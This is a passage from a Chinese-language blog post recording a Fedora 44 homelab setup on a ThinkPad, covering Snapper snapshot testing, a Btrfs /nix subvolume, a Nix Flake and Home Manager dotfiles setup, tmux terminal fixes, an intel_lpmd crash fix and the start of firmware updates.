status 和 diff 输出：

1
2
3
4


+..... /home/veno/.snapper-home-recovery-test

@@ -0,0 +1 @@
+this home file should be removed by snapper

执行恢复：

1
2


创建：0 修订：0 删除：1
home recovery test: PASS (file removed)

删除测试用的 #2/#4 后，home 只留下 important 基线和自动时间线：

1
2
3


# │ 类型 │ 清空 │ 描述 │ 用户数据
1 │ single │ number │ Home baseline before Nix │ important=yes
3 │ single │ timeline │ timeline │

最终验收：

home 配置指向 /home：通过；
/home/.snapshots 是 subvolid 267 的独立 Btrfs 子卷：通过；
timeline 保留值为 24/14/8/6：通过；
important home 基线 #1 存在：通过；
单文件 undochange 成功，测试快照已清理：通过；
两个全局 timer 仍为 enabled/active：通过；
timer 同时为 root 创建 #4、为 home 创建 #3：通过。

根与 home 使用不同编号空间，彼此独立清理。DNF5 actions 仍然只操作 root，不会因为增加 home 配置而给每次软件包事务复制一份用户目录快照。

最终验收

root 配置存在且指向 /：通过；
/.snapshots 挂载顶层 subvolid 256 /snapshots：通过；
timeline 与 cleanup timers 均为 enabled/active：通过；
important 基线快照 #1 存在：通过；
DNF5 重装测试生成 cleanup=number 的 #2/#3 pre/post 对：通过；
单文件 undochange 演练成功并清理 #4/#5：通过；
数量保留策略已经写入配置，QGROUP 保持为空：通过；
Live USB 完整恢复命令已经记录，但不为了测试而替换当前健康的根子卷。

完成 home 配置后的当前 root 快照列表为：

1
2
3
4
5


# │ 类型 │ 前期 # │ 清空 │ 描述 │ 用户数据
1 │ single │ │ number │ Fedora 44 homelab baseline │ important=yes
2 │ pre │ │ number │ dnf reinstall --disablerepo=rpmfusion-* snapper │
3 │ post │ 2 │ number │ dnf reinstall --disablerepo=rpmfusion-* snapper │
4 │ single │ │ timeline │ timeline │

#4 是 timeline timer 在整点自动创建的第一份 root 时间线快照。

actions 文件权限为：

1

644 root:root /etc/dnf/libdnf5-plugins/actions.d/snapper.actions

至此，根文件系统已经有小时快照、自动清理、DNF5 事务快照和经过实际验证的单文件恢复能力。完整根恢复保留为救援环境中的最后手段，而磁盘损坏仍然需要下一阶段的异机备份解决。

用 Nix 管理开发工具链

先划清 Fedora 与 Nix 的边界

这台机器不会变成 NixOS。Fedora 仍然负责所有会影响整台主机启动和服务状态的东西：

内核、固件、驱动、SELinux、systemd 和网络；
SSH、Cockpit、Mihomo、Snapper、Podman 等系统服务；
zsh 这个登录 shell 本身，避免 Nix store 不可用时连一个可登录的 shell 都没有。

Nix 只负责 veno 用户的命令行环境：CLI 软件、Zsh/Zimfw、fzf、tmux，以及以后按需启用的语言工具链。项目自己的依赖仍然留在项目中，例如 Python 项目继续由 uv.lock 管理，Go 项目继续使用 go.mod，不会把每个项目的库都塞进全局 Home Manager 配置。

具体采用 Nix Flakes + standalone Home Manager。Flake 提供固定入口和 flake.lock，Home Manager 把用户环境声明成配置文件。换一台 Linux 机器时，只需要先安装 Nix，再从同一个仓库执行一次 home-manager switch，而不是重新回忆自己曾经敲过哪些安装命令。

参考：

把 /nix 排除在根快照之外 (Btrfs 魅力时刻)

/nix/store 是由 derivation 和 flake.lock 重建的内容寻址存储，不需要跟随系统根做时间线快照。真正不可替代的声明配置位于 /home/veno/dotfiles，由 home Snapper 保护。

先创建一份 important root 快照：

1
2
3
4
5
6


sudo snapper --config root create \
 --type single \
 --cleanup-algorithm number \
 --description 'Before Nix installation' \
 --userdata important=yes \
 --print-number

实际返回快照编号 9：

1

9

然后从 Btrfs 顶层创建与 root、home、var 同级的 nix 子卷：

这就是 Btrfs 的魅力时刻：已经装好的系统临时需要一个独立 /nix，直接从顶层再切一个子卷就行。如果这里用的是 Ext4，这时候大概就得重新分区、搬数据和调整文件系统，想想都麻烦死了。

1
2
3
4
5
6
7
8
9


sudo mkdir -p /mnt/fedora-btrfs
sudo mount -o subvolid=5 \
 UUID=94c4f2ec-17aa-420f-a87a-6bbec3f57ad9 \
 /mnt/fedora-btrfs

sudo btrfs subvolume create /mnt/fedora-btrfs/nix
sudo btrfs subvolume show /mnt/fedora-btrfs/nix
sudo umount /mnt/fedora-btrfs
sudo rmdir /mnt/fedora-btrfs

创建命令实际返回：

1

Create subvolume '/mnt/fedora-btrfs/nix'

sudo btrfs subvolume show /mnt/fedora-btrfs/nix 的关键输出如下：

1
2
3
4
5
6
7


nix
 Name: nix
 UUID: f8ed083e-7c9e-7142-a6b2-eb3f24a0845c
 Creation time: 2026-07-13 02:07:25 +0800
 Subvolume ID: 282
 Parent ID: 5
 Top level ID: 5

备份并追加 fstab：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


sudo cp -a /etc/fstab /etc/fstab.before-nix

printf '%s\n' \
 'UUID=94c4f2ec-17aa-420f-a87a-6bbec3f57ad9 /nix btrfs subvol=nix,compress=zstd:1,noatime 0 0' \
 | sudo tee -a /etc/fstab

sudo mkdir /nix
sudo mount /nix
sudo restorecon -RF /nix
sudo systemctl daemon-reload

安装 Nix 前必须确认：

1
2
3


findmnt /nix
sudo btrfs subvolume show /nix
sudo mount -a

实际写入的是 /etc/fstab 第 19 行：

1

UUID=94c4f2ec-17aa-420f-a87a-6bbec3f57ad9 /nix btrfs subvol=nix,compress=zstd:1,noatime 0 0

第一次 sudo mount /nix 成功，但提示 systemd 仍在使用修改前的 fstab，因此又执行了 sudo systemctl daemon-reload。findmnt 的结果确认挂载来源正确：

1
2


TARGET SOURCE FSTYPE OPTIONS
/nix /dev/nvme1n1p3[/nix] btrfs rw,noatime,seclabel,compress=zstd:1,...

systemctl show -p Where,What,Options nix.mount 也能看到 systemd 识别出的实际挂载单元：

1
2
3


Where=/nix
What=/dev/nvme1n1p3
Options=rw,noatime,seclabel,compress=zstd:1,ssd,discard=async,space_cache=v2,subvolid=282,subvol=/nix

最后 sudo mount -a 没有输出，也就是没有发现 fstab 错误。至此 /nix 来自 /dev/nvme1n1p3[/nix]，Parent ID 和 Top level ID 都是 5，安装器不会把 Nix store 写进 root 子卷。

重做 dotfiles 仓库

我已经有一个叫 dotfiles 的 GitHub 仓库，但它装的是早已弃用的 Chezmoi 配置。这次准备沿用这个仓库名，并把仓库重做为 Nix 配置。旧内容不会混入新的 Flake；真正改写远端历史前，先在 GitHub 上留一个 chezmoi-archive tag 或归档分支，确认可以找回以后再替换默认分支。

实际读取远端得到 main 和 HEAD 都指向提交 b2a60b00f029236f1f04ed18821ebcfdd9c4c2c1。克隆后能看到 dot_zshrc、private_dot_zimrc 等 Chezmoi 命名，确认没有认错仓库；远端当时没有任何 tag。准备把这个提交永久标记为：

1
2
3
4
5


git tag -a chezmoi-archive-2026-07-13 \
 b2a60b00f029236f1f04ed18821ebcfdd9c4c2c1 \
 -m 'Archive the previous Chezmoi-managed dotfiles'
git push origin refs/tags/chezmoi-archive-2026-07-13
git ls-remote --tags origin chezmoi-archive-2026-07-13

推送后再次查询远端，annotated tag 对象为 8f41d9af2b5f63f99b1d032f963e71cf175f8705，解引用的 ^{} 仍是旧提交 b2a60b00f029236f1f04ed18821ebcfdd9c4c2c1。归档确认完成后才开始替换 main。

本轮只实现 ThinkPad，对应系统为 x86_64-linux，主机配置名为 veno@thinkpad。MacBook 暂缓，不安装 Nix，也不创建一个未经验证的 Darwin 配置；但模块不会把 Linux 特有软件硬塞进公共列表，给以后增加 aarch64-darwin 留出空间。

实际落地的仓库结构：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


dotfiles/
├── flake.nix
├── flake.lock
├── hosts/
│ └── thinkpad.nix
├── modules/
│ ├── shell/
│ │ ├── default.nix
│ │ ├── zsh.nix
│ │ └── tmux.nix
│ └── packages/
│ ├── default.nix
│ ├── base.nix
│ ├── modern-unix.nix
│ ├── modern-tui.nix
│ ├── python.nix
│ ├── golang.nix
│ └── security.nix
└── config/
 ├── p10k.zsh
 ├── zimrc
 └── tmux.conf

hosts/thinkpad.nix 只负责组合模块和选择软件组；软件清单放在 modules/packages/，Zsh 与 tmux 配置也不和主机名绑定。这样以后增加 Ubuntu、Arch 或 Kali 主机时，可以复用同一批模块，只改变启用哪些组。

实际配置完成后，先在 ThinkPad 的 /tmp/dotfiles-nix 运行：

1
2
3


nix flake check --no-build
nix build '.#homeConfigurations."veno@thinkpad".activationPackage' \
 -o /tmp/home-manager-result

flake check 返回 all checks passed!，并生成 flake.lock：Home Manager 锁定到提交 7566825d4652a1b885bd4ce65bd9e8def432fec9，nixpkgs 锁定到 e7a3ca8092b61ff85b6a45bf863ea2b2d6a661b3。完整构建需要下载约 415.3 MiB、解包约 1.3 GiB，最终 23 个 Home Manager derivation 全部构建成功。

新仓库经过 secret、token 和私钥头扫描，没有命中；根提交是 dc91873118bdcd7d686b00bc14c15b4101b06dd3。替换远端时不用裸 --force，而是把刚才确认的旧提交写进 lease：

1
2
3


git push \
 --force-with-lease=main:b2a60b00f029236f1f04ed18821ebcfdd9c4c2c1 \
 origin main

软件分组

第一版准备定义以下分组：

分组	用途	初始软件	ThinkPad 本轮启用
`base`	每台机器都有的基础环境	`git`、`curl`、`jq`、`zsh`、`zimfw`、`fzf`、`tmux`	是
`modern-unix`	常用 Unix 命令的现代补充	`ripgrep`、`fd`、`bat`、`eza`、`zoxide`、`dust`、`duf`、`procs`、`bottom`	是
`modern-tui`	交互式终端工具	`lazygit`、`yazi`、`gitui`、`lazydocker`、`btop`	是
`python`	通用 Python 开发入口	`python3`、`uv`、`ruff`、`ty`、`pyright`	暂不启用
`golang`	Go 开发工具链	`go`、`gopls`、`golangci-lint`、`delve`	暂不启用
`security`	渗透与安全测试工具	待按用途筛选，并限制到允许使用的主机	暂不启用

这里刻意不在第一轮启用 Python、Go 和 security。先验证 shell 与日常 CLI 的跨机器骨架，再逐组打开，可以让失败时的范围足够小。security 尤其不能变成“看到什么都装”的垃圾抽屉；其中不少工具只支持 Linux、需要额外 capabilities，或者更适合放进隔离容器，必须逐项决定。

Zsh、Zimfw 与 fzf 的处理方式

Fedora 先用 DNF 安装 /usr/bin/zsh，并把它设为登录 shell；Home Manager 再管理 .zshrc、.zimrc、fzf 集成和插件。安装前检查结果是：

1
2
3
4
5


$ getent passwd veno
veno:x:1000:1000:veno:/home/veno:/bin/bash

$ rpm -q zsh
未安装软件包 zsh

实际运行：

1
2
3
4
5


sudo dnf install -y zsh
sudo chsh -s /usr/bin/zsh veno
getent passwd veno
rpm -q zsh
/usr/bin/zsh --version

DNF 安装的是 Fedora 44 updates 仓库中的 zsh-5.9-20.fc44.x86_64，切换 shell 后的输出为：

1
2
3
4
5


Changing shell for veno.
Shell changed.
veno:x:1000:1000:veno:/home/veno:/usr/bin/zsh
zsh-5.9-20.fc44.x86_64
zsh 5.9 (x86_64-redhat-linux-gnu)

之所以不把登录 shell 指向 /nix/store/.../bin/zsh，是因为 store 路径会随构建变化，也不应该让一次 Nix 故障扩大成 SSH 登录故障。

Zim 的取舍以我之前写的《我的 Zim Framework 安装和配置》为准，而不是把 MacBook 当前积累下来的文件不加判断地复制过去。ThinkPad 第一版保留这些东西：

Zimfw 自己的基础环境、补全和输入模块；
Powerlevel10k，以及 MacBook 当前使用的 .p10k.zsh；
Zim 的 fzf 模块和 Aloxaf/fzf-tab；
zdharma-continuum/fast-syntax-highlighting；
history substring search 和 autosuggestions；
vi keymap、去重 history 等仍然有意义的少量 Zsh 选项。

当前 MacBook 的 .zimrc 同时列出了 fast-syntax-highlighting 和 zsh-syntax-highlighting，又同时留下 asciiship 和 Powerlevel10k。前者是重复的语法高亮器，后者是两个 prompt，迁移时分别只保留文章中选定的 fast-syntax-highlighting 和 Powerlevel10k。既然我不使用 Zim 内置的 Git 和 utility aliases，也不再把这两个模块仅仅因为“默认配置里有”就装回来。

.zshrc 同样不会全盘继承历史。MacBook 上真正还在使用、而且值得跨机器同步的是 Yazi 的 shell wrapper：

1
2
3
4
5
6
7


function y() {
 local tmp="$(mktemp -t "yazi-cwd.XXXXXX")" cwd
 command yazi "$@" --cwd-file="$tmp"
 IFS= read -r -d '' cwd < "$tmp"
 [ -n "$cwd" ] && [ "$cwd" != "$PWD" ] && builtin cd -- "$cwd"
 rm -f -- "$tmp"
}

它让 y 退出 Yazi 后可以把当前 shell 留在 Yazi 最后所在的目录。alias 先迁移在 Linux 上有对应程序的两项：

1
2


alias lg='lazygit'
alias t='tmux'

tai=tmuxai 要等 tmuxai 确实进入某个软件组后再启用，避免生成一个指向不存在命令的 alias；typora="open -a typora" 是 macOS 专属命令，不进入 ThinkPad 配置。Homebrew PATH、jv、mphp、旧 Chezmoi 的 dotpush，以及临时测试用的函数都不迁移。EDITOR 等通用环境变量以后如有需要会用 Home Manager 的 home.sessionVariables 声明，而不是继续堆进 .zshrc。

初版保留我想用的 Zimfw，但需要接受一个限制：如果仍由 Zimfw 自己下载模块，插件提交并不会自动进入 flake.lock，所以它不是完全可复现。第一轮先由 Home Manager 声明 .zimrc、.p10k.zsh 和初始化逻辑；后续再决定是否把每个插件改成 Flake input 或 Home Manager 的固定源码，让插件版本也真正锁定。

实际部署时，zimfw.zsh 本体来自锁定的 Nix zimfw-1.20.0 包，Zim 首次启动安装了 12 个模块。第一次 SSH 验收发现 Home Manager 的 enableCompletion 与 Zim 的 completion 模块都会执行 compinit，终端因此提示 completion 被初始化两次。修正方式是设置 programs.zsh.enableCompletion = false，让 Zim 独占补全初始化；重新构建和部署后，用分配了 TTY 的新 SSH 会话复测，不再出现警告。

修复 tmux 中的终端能力

实际使用时又遇到了两个只在终端链路中才会暴露的问题。第一个是在 MacBook 的 tmux pane 中 SSH 到 ThinkPad 后运行 y，Yazi 报错：

1

Terminal response timeout: The request sent by Yazi didn't receive a correct response.

Yazi 官方 FAQ 说明，Yazi 启动时会发送 DA1 和基于 DSR 的查询以检测终端能力；tmux 可能截获这些响应，官方检查项包括 tmux 版本、passthrough、M-[ 绑定和自定义配置。检查 MacBook 当前 tmux 得到：

1
2
3
4
5


$ tmux -V
tmux 3.6b

$ tmux show-options -gv allow-passthrough
off

于是把下面一行加入 MacBook 的 ~/.tmux.conf，并通过 tmux set-option 让当前 server 立即生效：

1

set -g allow-passthrough on

同一个 pane 中再次运行 y，timeout 消失。该配置也进入 Nix dotfiles 的 config/tmux.conf，避免其他受管主机重现问题。

第二个问题是从 Alacritty 直接 SSH 到 ThinkPad 后，在 ThinkPad 上启动 tmux 会丢失 shell 颜色；即使先进入 MacBook tmux 再 SSH，嵌套启动 ThinkPad tmux 仍会丢色。我以前通过上传 alacritty 和 tmux-256color terminfo 处理过类似问题，但这次检查发现 ThinkPad 上两份 terminfo 已经存在，真正的问题在 Home Manager 生成的配置：

1

set -g default-terminal "screen"

因此没有重复覆盖 terminfo，而是在 Home Manager 中明确设置 tmux 向内部程序公布的终端类型：

1
2
3
4
5


programs.tmux = {
 enable = true;
 terminal = "tmux-256color";
 extraConfig = builtins.readFile ../../config/tmux.conf;
};

同时告诉 tmux，作为外层客户端的 Alacritty 和另一层 tmux 都支持 RGB：

1
2
3


set -g allow-passthrough on
set -as terminal-features ',alacritty:RGB'
set -as terminal-features ',tmux-256color:RGB'

这里 default-terminal 描述 tmux 给 pane 内程序提供什么能力，terminal-features 描述 tmux 所连接的外层终端实际有什么能力，两者不能互相替代。相关语义可查 tmux 手册中的 TERM、default-terminal 与 terminal-features。

重新运行 nix flake check --no-build 和 activation package 构建后，部署为 Home Manager generation id 3。最后启动一个隔离的临时 tmux server 验收，实际输出为：

1
2
3
4


default-terminal=tmux-256color
allow-passthrough=on
alacritty:RGB
tmux-256color:RGB

对应 dotfiles 提交为 19d6347。

参考：

安装与首次部署

安装前先确认 CPU 架构、当前 shell 和系统中尚无 Nix：

1
2
3


uname -m
getent passwd veno
command -v nix || true

实际结果为 x86_64，用户当时仍使用 /bin/bash，command -v nix 没有输出。随后才完成上面的 Zsh 安装和登录 shell 切换。

然后使用 Nix 官方的 multi-user 安装方式。服务器由 systemd 管理 Nix daemon，比 single-user 安装更符合这台长期运行的主机：

1
2
3
4


curl -L https://nixos.org/nix/install -o /tmp/install-nix
sha256sum /tmp/install-nix
sed -n '1,35p' /tmp/install-nix
sh /tmp/install-nix --daemon

安装脚本属于远程代码，所以没有把 curl | sh 写成一条命令。实际下载了 4,267 字节，脚本本身的 SHA-256 为：

1

96c10e102c88809dd9ec0bee89200c4a51eae4c9f6d8698c26b16788d131e078 /tmp/install-nix

文件头是 #!/bin/sh；架构分支为 Linux.x86_64，将下载 releases.nixos.org 上的 nix-2.34.8-x86_64-linux.tar.xz，脚本记录的 tarball SHA-256 为 2c2e146b80834fe0ca201b51deeb939405b4f18e8d2071bf80b10f8123c50464。安装完成后重新登录 SSH，再验证：

第一次执行 sh /tmp/install-nix --daemon 下载完 24.17 MiB 的 tarball 后，在真正安装前中止了：

1
2
3
4
5


Switching to the Multi-user Installer

---- oh no! --------------------------------------------------------------------
Nix does not work with selinux enabled yet!
see https://github.com/NixOS/nix/issues/2374

因此这次尝试没有安装 Nix。SELinux 是 Fedora 的系统安全边界，不能为了一个开发工具管理器直接关闭；下一步先核对安装器的覆盖选项和上游现状，再决定怎样继续。

这就是在 Fedora 上写配置流的价值。架构图里一句“官方安装器”看起来干净利落，真正运行时 SELinux 会站出来提醒你：这台机器首先是 Fedora，不是 Nix 的空白画布。

安装器源码中的 main() 会无条件先调用 check_selinux()，没有 --force 开关。与此同时，Nix 官方下载页本来就把 Linux multi-user 安装的前提写成了运行 systemd、SELinux disabled 且能够使用 sudo；上面的失败并不是偶发现象。NixOS/nix#2374 则是安装器引用的上游问题。

好消息是 Fedora 44 已经把 Nix 正式打包进 updates 仓库。这反而更贴合本机“Fedora 管系统级应用，Nix 管用户开发工具”的边界：Nix 二进制、系统目录、build users 和 daemon 都由 RPM 管理，Home Manager 与开发工具才交给 Nix。查询仓库得到：

1
2
3
4
5
6


nix.x86_64 2.34.7-2.fc44 updates
nix-core.x86_64 2.34.7-2.fc44 updates
nix-daemon.noarch 2.34.7-2.fc44 updates
nix-filesystem.noarch 2.34.7-2.fc44 updates
nix-legacy.noarch 2.34.7-2.fc44 updates
nix-system.noarch 2.34.7-2.fc44 updates

nix-daemon RPM 自带 nix-daemon.service、nix-daemon.socket 和 /etc/profile.d/nix-daemon.sh；nix-system 负责 /nix/store、数据库、profiles 和 sysusers 配置。实际执行：

1
2
3
4
5
6
7


sudo dnf install -y nix nix-daemon
sudo systemctl enable --now nix-daemon

getenforce
nix --version
systemctl status nix-daemon.service --no-pager
rpm -q nix nix-core nix-daemon nix-system

DNF 共安装 21 个包、占用约 21 MiB，并通过 systemd-sysusers 创建 nixbld-1 到 nixbld-10 十个隔离构建用户。Fedora 自带的说明文件 /usr/share/doc/nix-core/README.fedora.md 明确推荐上述 daemon 模式。验收结果为：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ getenforce
Enforcing

$ nix --version
nix (Nix) 2.34.7

$ systemctl is-enabled nix-daemon.service
enabled

$ systemctl is-active nix-daemon.service
active

也就是说，Nix daemon 已经在没有削弱 SELinux 的情况下启动。安装的核心 RPM 版本完全一致：

1
2
3
4
5


nix-2.34.7-2.fc44.x86_64
nix-core-2.34.7-2.fc44.x86_64
nix-daemon-2.34.7-2.fc44.noarch
nix-system-2.34.7-2.fc44.noarch
nix-legacy-2.34.7-2.fc44.noarch

参考：Fedora Packages：nix、Fedora 44 Nix Change Proposal 讨论。

Fedora RPM 已经把 Flakes 与 nix-command 写进 /etc/nix/nix.conf，所以无需手工编辑。实际配置为：

1
2
3
4
5


experimental-features = nix-command flakes
auto-optimise-store = true
extra-nix-path = nixpkgs=flake:nixpkgs
max-jobs = auto
ssl-cert-file = /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem

其中证书路径也正确复用了 Fedora 的 CA trust，而不是 Nix store 中另一份证书。nix store ping --store daemon（Nix 提示 ping 已弃用，应改用 info）成功返回 daemon store 的版本 2.34.7。

创建并推送新的 dotfiles 内容后，先建立部署前 home 快照：

1
2
3
4
5
6


sudo snapper --config home create \
 --type single \
 --cleanup-algorithm number \
 --description 'Before first Home Manager deployment' \
 --userdata important=yes \
 --print-number

返回编号 8。此时 Fedora 没有安装 Git，直接 git clone 得到 -bash: git: command not found。这是一个自举问题，不值得为一次克隆让 DNF 永久安装开发工具，于是临时从 Nix shell 使用 Git：

1
2
3


nix shell nixpkgs#git -c git clone \
 https://github.com/U1traVeno/dotfiles.git \
 /home/veno/dotfiles

第一次 activation package 已经在部署前构建完成，所以直接激活它：

1

/tmp/home-manager-result/activate

实际输出依次经过 checkLinkTargets、installPackages、linkGeneration 和 reloadSystemd，没有文件冲突。修复上面的重复 completion 后，又用仓库本身的正式入口重复部署：

1

home-manager switch --flake ~/dotfiles#veno@thinkpad

第二次 switch 正常完成，没有意外文件修改。日常更新使用：

1
2
3
4


cd ~/dotfiles
git pull --ff-only
nix flake check
home-manager switch --flake .#veno@thinkpad

更新依赖不会偷偷发生。需要主动刷新锁文件时才运行：

1
2
3


nix flake update
nix flake check
home-manager switch --flake .#veno@thinkpad

实际验收

Nix 和 daemon：

1
2
3


nix (Nix) 2.34.7
nix-daemon.service: enabled, active
SELinux: Enforcing

新 SSH 伪终端中的 shell 状态为：

1
2
3


SHELL=/usr/bin/zsh ZSH_VERSION=5.9
lg=lazygit
t=tmux

Home Manager 最初留下两代环境；加入 tmux passthrough 与颜色能力修复后又生成了第三代：

1
2
3


2026-07-13 02:41 : id 3 -> /nix/store/xm9j7i9sjvl29pb6pssyadijm26hc66d-home-manager-generation (current)
2026-07-13 02:25 : id 2 -> /nix/store/8d5rqlqkzmh50mx27mg7wcjzmga9q894-home-manager-generation
2026-07-13 02:23 : id 1 -> /nix/store/5qzlbl1qfnabqfh78q1vx6zz06jzad9n-home-manager-generation

工具来源也逐项检查过：

1
2
3
4
5
6


rg -> /nix/store/806nba32b0dw...-ripgrep-15.1.0/bin/rg
bat -> /nix/store/xc0bn29mcc4v...-bat-0.26.1/bin/bat
fzf -> /nix/store/91bsvwdsr2bi...-fzf-0.74.0/bin/fzf
tmux -> /nix/store/ylyz1d8qn137...-tmux-3.7b/bin/tmux
lazygit -> /nix/store/hw140hqyarg...-lazygit-0.63.0/bin/lazygit
yazi -> /nix/store/vr4schdllzmr...-yazi-26.5.6/bin/yazi

uv、ruff、ty、pyright、go、gopls、golangci-lint 和 dlv 全部返回 not enabled，说明 Python 与 Go 组确实没有误导入；security 模块当前也是空模块。最后创建部署后快照：

1
2
3
4
5
6


sudo snapper --config home create \
 --type single \
 --cleanup-algorithm number \
 --description 'After first Home Manager deployment' \
 --userdata important=yes \
 --print-number

返回编号 9。home 快照列表中，8 和 9 分别对应部署前后，早先编号 1 的 Home baseline before Nix 也仍然存在。

这一阶段只完成 ThinkPad。等这套配置真实使用一段时间、模块边界稳定之后，再增加 MacBook 的 aarch64-darwin 输出；不会为了看起来“跨平台”而提前提交一份从未在目标机器上运行过的配置。

完成后的系统结构

截至 2026 年 7 月 13 日 03:03，这台 ThinkPad 已经连续运行约 19 小时。到这里完成的不是整个 Homelab，而是一个可以放心继续往上搭服务的 Fedora 底座。

主机与资源

项目	当前状态
设备	Lenovo ThinkPad T14p Gen 2
Hostname	static hostname 为 `thinkpad`，pretty hostname 为 `ThinkPad`
系统	Fedora Linux 44 Server Edition
内核	`7.1.3-200.fc44.x86_64`
CPU	Intel Core Ultra 5 125H，18 个逻辑 CPU
内存	30 GiB，总使用约 1.7 GiB，可用约 29 GiB
Swap	8 GiB zram，当前未使用
电池	79%，`Not charging`
SELinux	`Enforcing`

主系统盘 nvme1n1 为 931.5 GiB，除 1 GiB EFI 与 2 GiB XFS /boot 外，其余空间属于 Btrfs。数据盘 nvme0n1 为 953.9 GiB，整个分区作为独立 Btrfs 挂载到 /srv：

挂载点	实际来源	用途
`/`	`nvme1n1p3[/root]`	Fedora 根文件系统
`/home`	`nvme1n1p3[/home]`	用户数据与 dotfiles
`/var`	`nvme1n1p3[/var]`	系统高变动数据
`/.snapshots`	`nvme1n1p3[/snapshots]`	root Snapper 快照
`/nix`	`nvme1n1p3[/nix]`	Nix store，不进入 root 快照
`/srv`	`nvme0n1p1`	以后放 Homelab 服务数据

主 Btrfs 文件系统目前只使用约 3.37 GiB，估算可用 924.42 GiB；/srv 只用了约 6 MiB，基本还是空的。现在看起来有些奢侈，但这正是我想要的状态：系统、用户环境与未来服务数据已经有清晰边界，后面不必一边部署应用一边重新搬文件系统。

快照状态

Snapper 当前有 root 与 home 两套配置，timeline 与 cleanup timer 均为 enabled/active：

配置	当前策略	最新状态
`root`	10 hourly / 7 daily / 4 weekly / 6 monthly	最新为 `#14 timeline`；保留了 `#9 Before Nix installation`，DNF 安装 Zsh 与 Nix 的 pre/post 快照为 `#10` 到 `#13`
`home`	24 hourly / 14 daily / 8 weekly / 6 monthly	最新为 `#10 timeline`；`#8` 与 `#9` 分别是首次 Home Manager 部署前后

两边都启用了 number cleanup，普通 number 快照上限 20，important 快照上限 10。它们能处理配置误操作，却仍然不是磁盘损坏时的备份；真正的异机或离线备份还没有做，这是下一阶段必须补上的东西。

正在运行的系统能力

这些系统级能力仍然全部由 Fedora 和 systemd 管理：

单元	enabled	active	作用
`sshd.service`	是	是	SSH 登录，监听 22
`cockpit.socket`	是	是	Cockpit Web Console，监听 9090
`mihomo.service`	是	是	规则模式与 TUN 代理，外部控制器监听 9091
`nix-daemon.service`	是	是	multi-user Nix store 与隔离构建
`snapper-timeline.timer`	是	是	定时创建 root/home 快照
`snapper-cleanup.timer`	是	是	按保留策略清理快照
`fstrim.timer`	是	是	定期为 SSD 执行 TRIM

Mihomo 已连续运行约 19 小时，常驻内存约 28 MiB。MetaCubeXD 仍可通过 http://172.16.51.113:9091/ui/xd/ 打开；控制器 secret 与代理订阅没有进入博客或 Git 仓库。

开发环境

veno 的登录 shell 是 Fedora 提供的 /usr/bin/zsh。Nix 2.34.7 来自 Fedora RPM，daemon 在 SELinux Enforcing 下运行；实际开发工具由 dotfiles 中的 Flake 与 Home Manager 管理。

当前 Home Manager generation 为：

1

id 3 -> /nix/store/xm9j7i9sjvl29pb6pssyadijm26hc66d-home-manager-generation

rg、bat、fzf、tmux、lazygit、yazi 等命令都来自 /nix/store。Zsh、Zimfw、Powerlevel10k、tmux、Yazi wrapper 和两组 alias 已经经过新 SSH 会话验证。Python、Go 与 security 软件组仍然关闭；需要哪一组时，再在主机配置里显式导入，而不是继续往全局环境里堆包。

收尾检查时尚未解决的事情

最后跑 systemctl --failed 并不是全绿。目前唯一失败的单元是：

1

intel_lpmd.service: failed (Result: core-dump)

Fedora 的 intel-lpmd-0.1.0-2.fc44 启动时找不到 /proc/sys/kernel/sched_itmt_enabled，随后访问 UPower 得到 org.freedesktop.DBus.Error.ServiceUnknown，最终在 lpmd_main 中 SIGSEGV。systemd 重试五次后停止。它属于 Intel 平台电源管理，不应该在还没有确认 Fedora 上游修复或替代方案时随手禁用；暂时如实记在这里，后续升级相关软件包后复查。

此外，fwupdmgr 仍提示有 4 个设备存在可升级固件。/srv 还没有承载服务，异机备份、UPS 行为、监控告警和真正的 Homelab 应用也都尚未配置。

补记：处理电源管理崩溃与固件更新

收尾后我打开笔记本盖子，准备把上面两个硬件相关遗留项也处理掉。操作前重新检查得到：盖子为 open，AC 电源在线，电池 79%，Secure Boot 为 disabled。

intel_lpmd 的日志顺序很关键：

1
2
3
4


Open /proc/sys/kernel/sched_itmt_enabled failed
up_client_get_devices failed: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown:
The name is not activatable
Process intel_lpmd dumped core in lpmd_main

进一步检查发现 Fedora Server 根本没有安装 upower，系统中也不存在 upower.service。intel-lpmd-0.1.0-2.fc44 没有优雅处理这个依赖缺失，而是在连接 UPower 失败后 SIGSEGV。准备先创建 root 快照，再通过 Fedora updates 安装 upower-1.91.3-1.fc44，然后重启 lpmd 验证：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


sudo snapper --config root create \
 --type single \
 --cleanup-algorithm number \
 --description 'Before firmware update and intel-lpmd repair' \
 --userdata important=yes \
 --print-number

sudo dnf install -y upower
sudo systemctl restart upower.service
sudo systemctl restart intel_lpmd.service

systemctl is-active upower.service intel_lpmd.service
systemctl --failed --no-legend

important root 快照实际返回 #15。DNF 安装了 upower-1.91.3-1.fc44 及其 5 个依赖，总计约 1 MiB；随后 UPower 能正确枚举 BAT0、AC 与两个 USB-C power source。重置失败状态并重启后：

1
2
3
4
5
6


$ systemctl is-active upower.service intel_lpmd.service
active
active

$ systemctl --failed --no-legend
（无输出）

intel_lpmd 常驻内存约 2.8 MiB。它仍会输出 Open /proc/sys/kernel/sched_itmt_enabled failed，但不再 core dump；真正致命的是 Fedora Server 最小安装缺少 UPower，而 intel-lpmd 没有正确处理该依赖缺失。

固件则全部来自 LVFS trusted metadata。fwupdmgr 2.1.6 当前列出的目标是：

设备	当前版本	目标版本	紧急度	主要内容
Embedded Controller	`0.1.8`	`0.1.14`	medium	改进 EC/ME/TPM backup protection
Intel Management Engine	`0.5.2141`	`0.15.2515`	high	修复 CVE-2024-38307、CVE-2024-30211、CVE-2024-26021
System Firmware	`0.1.15`	`0.1.26`	high	升级 Lenovo Diagnostics 模块
UEFI dbx	`20240301`	`20260402`	high	撤销存在 Secure Boot 绕过风险的签名，包含 CVE-2026-8863

四项都标记为 needs-reboot，前三项还要求 AC 电源。准备保留 fwupd 的默认 safety checks，只跳过更新完成后的交互式重启询问：

1
2
3


sudo fwupdmgr refresh --force
sudo fwupdmgr update --assume-yes --no-reboot-check
fwupdmgr get-updates

第一次下载在约一分钟后收到 LVFS/CDN 的 transient HTTP 504，没有写入 capsule。加入 --download-retries 5 后下载与解包成功，但 staging 又在写入前停止：

1
2


/usr/libexec/fwupd/efi/fwupdx64.efi and
